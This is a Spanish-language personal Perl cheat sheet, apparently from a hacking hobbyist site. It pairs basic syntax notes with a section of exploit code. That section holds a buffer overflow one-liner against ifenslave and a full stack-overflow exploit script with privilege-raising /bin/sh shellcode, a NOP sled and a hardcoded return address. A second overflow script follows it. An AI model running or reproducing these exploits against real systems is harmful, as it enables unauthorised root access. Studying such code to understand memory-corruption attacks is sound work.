~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ PERL DRAFT (Esto no es un Tutorial, son funciones de PERL que conviene tener a la mano, para recordar sintaxis por ejemplo) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Esto pronto será dividido en secciones. Las cosas que más uso de PERL; pero todo resumido 1.) USO SIMPLE (para Scripts de automatización) 2.) USO EN EXPLOITS (manipulación de paquetes, sockets, disassembling) ------------------------------------------------------------------------- .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-. =========== USO SIMPLE =========== (Lo sé, está super desordenado :( pero es que es mi Borrador) .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-. CONDITION: $var1 == 47 ? (print("var1 is already 47\n"), $is_fortyseven = 1) : ($var1 = 47, print("var1 set to 47\n"), $is_fortyseven = 0); OPEN FILE: open (OUTFILE, ">/u/jqpublic/outfile"); <- open in write mode open (APPENDFILE, ">>/u/jqpublic/appendfile"); <- open for append $line = ; <- reading from INFILE open(INFILE, "infile") && !(-e "outfile") && open(OUTFILE, ">outfile") || die("Cannot open files\n"); ------------------------------------------------------------------------- $count = 1; print ("$count\n") while ($count++ < 5); foreach $word (@words) { if ($word eq "the") { print ("found the word 'the'\n"); } } foreach $word (reverse sort split(/[\t ]+/, $line)) { print ("$word "); } last if ($line eq ""); $line =~ s/^[\t ]*//; $line =~ s/[\t ]*\n$//; @words = split(/\s+/, $line); # Esto queda como $scalar=47 y @list=@mylist &twoargs(47, @mylist); sub twoargs { my ($scalar, @list) = @_; } Aliasing enables you to pass more than one list to a subroutine. @array1 = (1, 2, 3); @array2 = (4, 5, 6); &two_array_sub (*array1, *array2); sub two_array_sub { my (*subarray1, *subarray2) = @_; } In this case, the names array1 and array2 are passed to two_array_sub. subarray1 becomes an alias for array1, and subarray2 becomes an alias for array2. ASSOCIATIVE ARRAY : foreach $capword (keys(%wordlist)) { print ("$capword: $wordlist{$capword}\n"); } ASSOCIATIVE ARRAY with SORTED output : foreach $capword (sort keys(%wordlist)) { print ("$capword: $wordlist{$capword}\n"); } CREATE ASSOCIATIVE ARRAYS : [Siempre se guardan en orden ALEATORIO] > %fruit = ("apples", 17, "bananas", 9, "oranges", "none"); > %fruit = ("apples" => 17, "bananas" => 9, "oranges" => "none"); > $fruit{"cherries"} = 5; > delete($fruit{"orange"}); > @fruitvalues = values(%fruits); %records = ("Maris", 61, "Aaron", 755, "Young", 511); while (($holder, $record) = each(%records)) { # stuff goes here } [Avoid adding/deleting NEW elements while using EACH()] ------------------------------------------------------------------------- PATTERN MATCHING: ~~~~~~~~~~~~~~~~ ------------------------------------------------------------------------- REPORTS: select(MYFILE); $~ = "MYFORMAT"; write; select(STDOUT); $oldfile = select(NEWFILE); select ($oldfile); [To restore the old FILE for output] .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-. =============== USO EN EXPLOITS =============== (manipulación de paquetes, sockets, disassembling) .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-. perl -e "print chr(0x78) <- Sintaxis para imprimir caracteres ASCII perl -e "print chr(0x48),chr(0x55),chr(0x47),chr(0x4f),chr(0x20),chr(0x4d),chr(0x41),chr(0x52),chr(0x54),chr(0x49),chr(0x4e)" "Ifenslave" es vulnerable a un Buffer overflow : ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ /sbin/ifenslave `perl -e "print 'A'x44"``printf "\x01\xfc\xff\xbf"` #"\x01\xfc\xff\xbf" <- Esto indica la siguiente instruccion que se ejecutará # el eggshell supuestamente está en esa dirección. ( ... aqui vendrán muchas cosas más, realmente me es MUY útil tener esto a la mano. Si te sirve también, genial ;) ) ~~~~~~~~~~~~~~~~~~~~~~~ LITTLE OVERFLOW EXPLOIT (Stack overflow) ~~~~~~~~~~~~~~~~~~~~~~~ #!/usr/bin/perl $shellcode = # HACKCRAFT shellcode "\x31\xc0\x31\xdb\x31\xd2\x53\x68\x54\x20\x20\x0a". "\x68\x43\x52\x41\x46\x68\x48\x41\x43\x4b\x89\xe1". "\xb2\x0f\xb0\x04\xcd\x80\x31\xc0\x31\xc0\x31\xdb". "\x31\xc9\xb0\x17\xcd\x80\x31\xc0\x50\x68\x6e\x2f". "\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x54\x24". "\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0". "\xb0\x01\xcd\x80\x5d\xc3\x8d\x76\x00"; # $len = 1024 + 8; # La longitud necesaria para sobreescribir EIP. $len = 520 + 8; # $ret = 0xbffffc03; # Mi Stack pointer despues de VIOLACION DE # SEGMENTO (info reg ESP) $ret = 0xbffffccf; # Aca esta el inicio de los NOPs EXACTAMENTE $nop = "\x90"; # x86 NOP $offset = 0; # Default offset to try. print("=================================================================\n"); print(" Stack Overflow Exploit \n\n"); print(" by Hugo Martín [ www.hackcraft.com ] \n"); print("=================================================================\n"); if (@ARGV == 1) { $offset = $ARGV[0]; } print("Usando el offset : $offset \n"); $c=0; for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) { $buffer .= $nop; $c++; } # [ Buffer: NNNNNNNNNNNNNN ] $buffer .= $shellcode; # [ Buffer: NNNNNNNNNNNNNNSSSSS ] print("Address: 0x", sprintf('%lx',($ret + $offset)),"\n"); $new_ret = pack('l', ($ret + $offset)); for ($i += length($shellcode); $i < $len; $i += 4) { $buffer .= $new_ret; } # [ Buffer: NNNNNNNNNNNNNNNNSSSSSRRRRRR ] $lshellcode=length($shellcode); print("\n\nDATA:\n"); print("Longitud del shellcode: $lshellcode \n"); print("buffer specially crafted : $buffer \n"); print("cantidad de NOPs: $c \n\n\n"); local($ENV{'KIDVULN'}) = $buffer; exec("./vuln1 '$buffer'"); # Copia el shellcode en la variable KIDVULN para # incrementar las posibilidades de encontrar el offset # (RET), y ejecuta vuln. ~~~~~~~~~~~~~~~~~~~~~ OTRO TIPO DE OVERFLOW ~~~~~~~~~~~~~~~~~~~~~ #!/usr/bin/perl if (@ARGV == 1) { $offset = $ARGV[0]; } $length = 20; $return = 0xbffffeb8; $cmd = "/usr/local/bin/OF"; $opt = "/usr/local/bin/scale"; for ($i = 0; $i < ($length - 4); $i++) { $buffer .= 'X'; } printf("Address: %#lx\n\n", ($return + $offset)); $buffer .= pack('l', ($return + $offset)); system("(echo \"$buffer\") | $cmd $opt"); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Hugo Martín [ www.hackcraft.com ] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~